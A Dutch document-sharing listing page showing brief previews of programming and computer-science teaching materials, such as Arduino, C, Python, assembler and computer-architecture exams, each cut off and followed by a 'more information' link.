De Arduino-microcontroller in de motorvoertuigentechniek (6) De Arduino-microcontroller in de motorvoertuigentechniek (6) E. Gernaat (ISBN 978-90-79302-11-6) 1 De Arduino Programmeeromgeving (IDE) 1.1 Inleiding Als we naar de Arduino site gaan kunnen we daar de

Nadere informatie

HOGESCHOOL VAN AMSTERDAM Informatica Opleiding. CPP 1 van 10

HOGESCHOOL VAN AMSTERDAM Informatica Opleiding. CPP 1 van 10 CPP 1 van 10 ADSdt 1-2009 TENTAMENVOORBLAD Voor aanvang van het tentamen s.v.p. de tentamengegevens goed doorlezen om eventuele misverstanden te voorkomen!! Naam student : Studentnummer : Groep : Studieonderdeel

Nadere informatie

QR-code op aanvoerbrief 2.xx.0: Specificaties

QR-code op aanvoerbrief 2.xx.0: Specificaties QR-code op aanvoerbrief 2.xx.0: Specificaties Door: Bert Velthuijs Datum 1e versie: 5 april 2012 (versie 0.xx) Datum laatste wijziging 20 september 2012 Huidige Versie: 2.xx.0 Wijzigingen 19 juli 2012

Nadere informatie

Hoofdstuk 8: Functies en parameters

Hoofdstuk 8: Functies en parameters Hoofdstuk 8: Functies en parameters Leerdoelen: Het nut van functies Eigen functies creëren Parameters en argumenten gebruiken Waardes uit functies retourneren middels return Functie benamingen Commentaar

Nadere informatie

17 Operaties op bits. 17.1 Bitoperatoren en bitexpressies

17 Operaties op bits. 17.1 Bitoperatoren en bitexpressies 17 Operaties op bits In hoofdstuk 1 is gezegd dat C oorspronkelijk bedoeld was als systeemprogrammeertaal om het besturingssysteem UNIX te implementeren. Bij dit soort toepassingen komt het voor dat afzonderlijke

Nadere informatie

Talstelsels en getalnotaties (oplmodel)

Talstelsels en getalnotaties (oplmodel) Talstelsels en getalnotaties (oplmodel) herhalingsvragen 1. Waarom werken computers binair? Omdat binaire computers veel makkelijker te maken is. De kans op fouten is ook veel kleiner. het spanningsverschil

Nadere informatie

Berekening van de hash-code van een bestand of CD

Berekening van de hash-code van een bestand of CD 1 Berekening van de hash-code van een bestand of CD Berekening van de hash-code van een bestand of CD Inhoudsopgave 1. Inleiding 2 2. Te gebruiken commando bij verschillende besturingsomgevingen 2 3. Download

Nadere informatie

Vraag 1 (2 punten) (iii) Een lees-opdracht van virtueel adres 2148 seg 0, offset 2148 - idem

Vraag 1 (2 punten) (iii) Een lees-opdracht van virtueel adres 2148 seg 0, offset 2148 - idem Tentamen A2 (deel b) 24-06-2004 Geef (liefst beknopte en heldere) motivatie bij je antwoorden; dus niet enkel ja of nee antwoorden, maar ook waarom. Geef van berekeningen niet alleen het eindresultaat,

Nadere informatie

De standaard programmeertaal

De standaard programmeertaal C De standaard programmeertaal Oorsprong CPL stond voor Combined Programming Language of Cambridge Programming Language. Ze stamt uit 1963, maar de eerste compiler arriveerde pas rond 1970. De taal was

Nadere informatie

Deel 1: Arduino kennismaking. Wat is een microcontroller, structuur van een programma, syntax,

Deel 1: Arduino kennismaking. Wat is een microcontroller, structuur van een programma, syntax, Deel 1: Arduino kennismaking Wat is een microcontroller, structuur van een programma, syntax, Wat is een microcontroller Wat is een microcontroller? Microcontroller = kleine dedicated computer. - Beperkt

Nadere informatie

Pythoncursus. Eindopdracht L-systemen. Joost, Koen, Marein en Ramon december 2015

Pythoncursus. Eindopdracht L-systemen. Joost, Koen, Marein en Ramon december 2015 Pythoncursus Eindopdracht L-systemen Joost, Koen, Marein en Ramon december 2015 Samenvatting Dit is de eindopdracht van deze cursus. Hij bestaat uit een aantal onderdelen. Als je minimaal onderdeel a,

Nadere informatie

Je gaat leren programmeren en een spel bouwen met de programmeertaal Python. Websites zoals YouTube en Instagram zijn gebouwd met Python.

Je gaat leren programmeren en een spel bouwen met de programmeertaal Python. Websites zoals YouTube en Instagram zijn gebouwd met Python. 1 Je gaat leren programmeren en een spel bouwen met de programmeertaal Python. Websites zoals YouTube en Instagram zijn gebouwd met Python. Voordat je leert programmeren, moet je jouw pc zo instellen dat

Nadere informatie

Als een PSD selecties bevat, deelt de lijn van het programma zich op met de verschillende antwoorden op het vraagstuk.

Als een PSD selecties bevat, deelt de lijn van het programma zich op met de verschillende antwoorden op het vraagstuk. HOOFDSTUK 3 3.1 Stapsgewijs programmeren In de vorige hoofdstukken zijn programmeertalen beschreven die imperatief zijn. is het stapsgewijs in code omschrijven wat een programma moet doen, net als een

Nadere informatie

Computerarchitectuur en netwerken. Memory management Assembler programmering

Computerarchitectuur en netwerken. Memory management Assembler programmering Computerarchitectuur en netwerken 2 Memory management Assembler programmering Lennart Herlaar 10 september 2018 Inhoud 1 Protectie: Hoe het O.S. programma s tegen elkaar kan beschermen modes memory management

Nadere informatie

Opdrachten numerieke methoden, week 1

Opdrachten numerieke methoden, week 1 Opdrachten numerieke methoden, week Opdracht : De potentiaal in een diode. [Bewijs dat ψ = u T arcsinh D 2n i ) ] ) ) D = n p = n i e ψ u T e ψ u ψ T = 2n i sinh u T ) D ψ = u T arcsinh 2n i.2 [Conditiegetal

Nadere informatie

Een korte samenvatting van enkele FORTRAN opdrachten

Een korte samenvatting van enkele FORTRAN opdrachten Een korte samenvatting van enkele FORTRAN opdrachten Inhoud 1 Introductie 3 2 De structuur van een FORTRAN programma 3 3 Datatypen, variabelen en declaraties 3 4 Expressies-volgorde van uitwerking 4 5

Nadere informatie

Klik op OK om verder te gaan. U ziet het volgende scherm verschijnen:

Klik op OK om verder te gaan. U ziet het volgende scherm verschijnen: Installatie van de Online Bijbel Studie DVD (editie 11-01) Datum: 26 januari 2011 Laatste revisie: Versie: 1.0 Voordat u begint Deze instructie behandeld de te volgen stappen om de Online Bijbel Studie

Nadere informatie

Javascript oefenblad 1

Javascript oefenblad 1 Leer de basis van Javascript. Javascript oefenblad 1 Niels van Velzen Javascript oefenblad 1 Pagina 2 Inleiding Javascript is niet altijd even makkelijk. Vooral aan het begin is het even wennen hoe de

Nadere informatie

DuboCalc 4.0. Installatie instructie

DuboCalc 4.0. Installatie instructie DuboCalc 4.0 Installatie instructie Inhoudsopgave 1 Inleiding... 2 2 Verwijderen bestaande installaties... 3 3 Installatie DuboCalc Project... 4 4 Foutmeldingen... 8 1 DuboCalc Project 2.2 Installatie

Nadere informatie

HOOFDSTUK 3. Imperatief programmeren. 3.1 Stapsgewijs programmeren. 3.2 If Then Else. Module 4 Programmeren

HOOFDSTUK 3. Imperatief programmeren. 3.1 Stapsgewijs programmeren. 3.2 If Then Else. Module 4 Programmeren HOOFDSTUK 3 3.1 Stapsgewijs programmeren De programmeertalen die tot nu toe genoemd zijn, zijn imperatieve of procedurele programmeertalen. is het stapsgewijs in code omschrijven wat een programma moet

Nadere informatie

Microcontrollers Week 4 Introductie microcontroller Jesse op den Brouw (met dank aan Ben Kuiper) INLMIC/

Microcontrollers Week 4 Introductie microcontroller Jesse op den Brouw (met dank aan Ben Kuiper) INLMIC/ Microcontrollers Week 4 Introductie microcontroller Jesse op den Brouw (met dank aan Ben Kuiper) INLMIC/2018-2019 Week 3 Lussen Ontdenderen Stack Parameteroverdracht 2 Wachtlussen In een programma willen

Nadere informatie

Software Security III

Software Security III COMP 4580 Computer Security Software Security III Dr. Noman Mohammed Winter 2019 Including slides from: David Brumley & others! Outline Assembly Language Memory Layout Control Flow Hijacking Methods Buffer

Nadere informatie

10. Mijn eerste programma

10. Mijn eerste programma 10. Mijn eerste programma Een korte handleiding voor het invoeren en editten van programmatekst voor een pseudotaal programma. In dit hoofdstuk wordt beschreven hoe je je allereerste pseudotaal programma

Nadere informatie

Zo gaat jouw kunstwerk er straks uitzien. Of misschien wel heel anders.

Zo gaat jouw kunstwerk er straks uitzien. Of misschien wel heel anders. Spirograaf in Python Een kunstwerk maken Met programmeren kun je alles maken! Ook een kunstwerk! In deze les maken we zelf een kunstwerk met Python. Hiervoor zal je werken met herhalingen en variabelen.

Nadere informatie

De MySQL C API. Variabelen in C Functies in C Pointers in C

De MySQL C API. Variabelen in C Functies in C Pointers in C LinuxFocus article number 304 http://linuxfocus.org De MySQL C API door Özcan Güngör Over de auteur: Ik gebruik Linux sinds 1997. Vrijheid, flexibiliteit en opensource. Dat

Nadere informatie

Huiswerk Linux: Apache groepsrechten

Huiswerk Linux: Apache groepsrechten Huiswerk Linux: Apache groepsrechten Opdracht: configureer Apache zodanig, dat je Cygwin niet meer Als administrator hoeft te starten om Apache te configureren. Om dit te bereiken maken we in Windows een

Nadere informatie

L A TEX-workshop (Handleiding)

L A TEX-workshop (Handleiding) L A TEX-workshop (Handleiding) TEXniCie 10 november 2014 Inhoudsopgave 1 Inleiding 2 2 L A TEX 2 2.1 Voordelen........................................ 2 2.2 Nadelen.........................................

Nadere informatie

Disclaimer Het bestand dat voor u ligt, is nog in ontwikkeling. Op verzoek is deze versie digitaal gedeeld. Wij willen de lezer er dan ook op wijzen

Disclaimer Het bestand dat voor u ligt, is nog in ontwikkeling. Op verzoek is deze versie digitaal gedeeld. Wij willen de lezer er dan ook op wijzen Disclaimer Het bestand dat voor u ligt, is nog in ontwikkeling. Op verzoek is deze versie digitaal gedeeld. Wij willen de lezer er dan ook op wijzen dat er zowel typografische als inhoudelijke onvolkomenheden

Nadere informatie

ROM en RAM in een ROMforth

ROM en RAM in een ROMforth Albert Nijhof 24/06/2016 ROM en RAM in een ROMforth Vragen Twee HERE's? Voor een forth die in (Flash)ROM compileert is het uitgangspunt dat programmacode en onveranderlijke data naar ROM gaan en veranderbare

Nadere informatie

Examen computerarchitectuur

Examen computerarchitectuur Examen computerarchitectuur Vrijdag 8 juni 2007, 14u00 Prof. Koen De Bosschere Naam, Voornaam: Richting: Belangrijk 1. Vergeet niet uw naam en voornaam te vermelden. 2. Schrijf de antwoorden in de daarvoor

Nadere informatie

Instructies en blokken

Instructies en blokken Herhaling 1 Instructies en blokken Naar elke instructie staat een ; puntkomma Verschillende instructies worden door de accolades in een block samengevat. Een blok is het zelfde als een enkele instructie.

Nadere informatie

icafe Project Joeri Verdeyen Stefaan De Spiegeleer Ben Naim Tanfous

icafe Project Joeri Verdeyen Stefaan De Spiegeleer Ben Naim Tanfous icafe Project Joeri Verdeyen Stefaan De Spiegeleer Ben Naim Tanfous 2006-2007 Inhoudsopgave 1 2 1.1 Programmeertaal PHP5..................... 2 1.2 MySQL database......................... 3 1.3 Adobe Flash...........................

Nadere informatie

Een eenvoudig algoritme om permutaties te genereren

Een eenvoudig algoritme om permutaties te genereren Een eenvoudig algoritme om permutaties te genereren Daniel von Asmuth Inleiding Er zijn in de vakliteratuur verschillende manieren beschreven om alle permutaties van een verzameling te generen. De methoden

Nadere informatie

3 e jaars GameTech student C++ voor hobby, eerste programmeertaal Assistent bij een heleboel vakken

3 e jaars GameTech student C++ voor hobby, eerste programmeertaal Assistent bij een heleboel vakken 18 Februari 2013 Tigran Gasparian 3 e jaars GameTech student C++ voor hobby, eerste programmeertaal Assistent bij een heleboel vakken Gydo Nieraeth 4 e jaars student, 3 e jaars GameTech C++ ervaring: Software

Nadere informatie

Een gelinkte lijst in C#

Een gelinkte lijst in C# Een gelinkte lijst in C# In deze tutorial ga demonstreren hoe je een gelinkte lijst kan opstellen in C#. We gaan een klasse schrijven, die een gelijkaardige functionaliteit heeft als een ArrayList, namelijk

Nadere informatie

ES1 Project 1: Microcontrollers

ES1 Project 1: Microcontrollers ES1 Project 1: Microcontrollers Les 5: Timers/counters & Interrupts Timers/counters Hardware timers/counters worden in microcontrollers gebruikt om onafhankelijk van de CPU te tellen. Hierdoor kunnen andere

Nadere informatie

Programmeren in C++ Efficiënte zoekfunctie in een boek

Programmeren in C++ Efficiënte zoekfunctie in een boek Examen Software Ontwikkeling I 2e Bachelor Informatica Faculteit Wetenschappen Academiejaar 2010-2011 21 januari, 2011 **BELANGRIJK** 1. Lees eerst de volledige opgave (inclusief de hints/opmerkingen)!

Nadere informatie

Een.NET-besturingssysteemtoolkit. Discovering Cosmos. Sijmen J. Mulder

Een.NET-besturingssysteemtoolkit. Discovering Cosmos. Sijmen J. Mulder Een.NET-besturingssysteemtoolkit Discovering Cosmos Sijmen J. Mulder Agenda Boek 1 Cosmos: a very short introduction Boek 2 Modern Operating Systems Pauze Boek 3 The Design and Implementation of the Cosmos

Nadere informatie

recursie Hoofdstuk 5 Studeeraanwijzingen De studielast van deze leereenheid bedraagt circa 6 uur. Terminologie

recursie Hoofdstuk 5 Studeeraanwijzingen De studielast van deze leereenheid bedraagt circa 6 uur. Terminologie Hoofdstuk 5 Recursion I N T R O D U C T I E Veel methoden die we op een datastructuur aan kunnen roepen, zullen op een recursieve wijze geïmplementeerd worden. Recursie is een techniek waarbij een vraagstuk

Nadere informatie

Bestand: /home/karel/scripts/start-installatie Pagina 1 van 10

Bestand: /home/karel/scripts/start-installatie Pagina 1 van 10 Bestand: /home/karel/scripts/start-installatie Pagina 1 van 10 1 #!/bin/bash 2 ############################################################################# 3 # Bestand: start-installatie # 4 # Doel: Script

Nadere informatie

Sparse columns in SQL server 2008

Sparse columns in SQL server 2008 Sparse columns in SQL server 2008 Object persistentie eenvoudig gemaakt Bert Dingemans, e-mail : info@dla-os.nl www : http:// 1 Content SPARSE COLUMNS IN SQL SERVER 2008... 1 OBJECT PERSISTENTIE EENVOUDIG

Nadere informatie

UNIVERSITEIT ANTWERPEN FACULTEIT WETENSCHAPPEN DEPARTEMENT WISKUNDE-INFORMATICA OBERON CODE CONVENTIONS

UNIVERSITEIT ANTWERPEN FACULTEIT WETENSCHAPPEN DEPARTEMENT WISKUNDE-INFORMATICA OBERON CODE CONVENTIONS UNIVERSITEIT ANTWERPEN FACULTEIT WETENSCHAPPEN DEPARTEMENT WISKUNDE-INFORMATICA OBERON CODE CONVENTIONS Laatste aanpassing: 15 oktober 2003 Inhoudsopgave 1 Bestandsnamen 3 2 Organizatie Bestanden 3 3 Indentatie

Nadere informatie

Software-Ontwikkeling I Academiejaar 2006-2007

Software-Ontwikkeling I Academiejaar 2006-2007 Software-Ontwikkeling I Academiejaar 2006-2007 Project: Bibliotheekbeheer 1 1. Digitale bibliotheek a. Inleiding Bibliotheken houden onder meer hun collecties van uitleenbare artikels bij in digitaal formaat.

Nadere informatie

MC Slotervaart. Handleiding Thuiswerken

MC Slotervaart. Handleiding Thuiswerken MC Slotervaart Handleiding Thuiswerken Via het internet kunt u verbinding maken met het MC Slotervaart netwerk. Afhankelijk van de aan u toegekende rechten kunt u toegang krijgen tot uw e-mail, bestanden,

Nadere informatie

Meer Blokken. 1. Dit is een functie genaamd Maximum, die twee argumenten heeft: number1 en number2.

Meer Blokken. 1. Dit is een functie genaamd Maximum, die twee argumenten heeft: number1 en number2. Meer Blokken Voorkennis: SuperDojo, Snake Leerdoelen: Meer Blokken Introductie Meer Blokken zijn Scratch s manier van functies. Functies zijn een heel belangrijk concept in alle programmeertalen. Het staat

Nadere informatie

Examen computerarchitectuur

Examen computerarchitectuur Examen computerarchitectuur Vrijdag 6 juni 2008, 14:00 Prof. Koen De Bosschere Naam, Voornaam: Richting: Belangrijk 1. Vergeet niet uw naam en voornaam te vermelden. 2. Schrijf de antwoorden in de daarvoor

Nadere informatie

Getalformaten, timers en tellers

Getalformaten, timers en tellers Getalformaten, timers en tellers S_CU CU S PV R CV DEZ CV_BCD S_ODT S TV BI R BCD 1 pagina 1 Getalformaten (16 bits) PG CPU BCD W#16#296 Voorteken (+) 2 9 6 0 0 0 0 0 0 1 0 1 0 0 1 0 1 1 0 Positieve getallen

Nadere informatie

VBA voor Doe het Zelvers deel 20

VBA voor Doe het Zelvers deel 20 VBA voor Doe het Zelvers deel 20 Handleiding van Auteur: leofact Augustus 2015 handleiding: VBA voor Doe het Zelvers deel 20 Vorige aflevering In het vorige deel werd besproken hoe je de structuur en vensteropbouw

Nadere informatie

Java virtuele machine JVM

Java virtuele machine JVM Implementatie Java Java virtuele machine JVM Java programma vertaald naar byte code instructies Byte code instructies uitgevoerd door JVM JVM is processor architectuur kan in principe in hardware worden

Nadere informatie

Stapelgeheugen. Processoren 6 maart 2012

Stapelgeheugen. Processoren 6 maart 2012 Stapelgeheugen Processoren 6 maart 2012 Programma van komende week 7 maart 8.45: extra vragenuur over HADES 13 maart 8.45: hoorcollege vervalt, maar werkcolleges vinden plaats. Stapelgeheugen Tanenbaum

Nadere informatie

Werking van de Office Connector, en het oplossen van fouten.

Werking van de Office Connector, en het oplossen van fouten. Werking van de Office Connector, en het oplossen van fouten. De Office Connector zorgt ervoor dat de Microsoft Officeomgeving gebruikt kan worden als ontwerp en genereeromgeving voor documenten waarbij

Nadere informatie

DrICTVoip.dll v 2.1 Informatie en handleiding

DrICTVoip.dll v 2.1 Informatie en handleiding DrICTVoip.dll v 2.1 Informatie en handleiding Nieuw in deze versie : Koppeling voor web gebaseerde toepassingen (DrICTVoIPwebClient.exe) (zie hoofdstuk 8) 1. Inleiding Met de DrICTVoIP.DLL maakt u uw software

Nadere informatie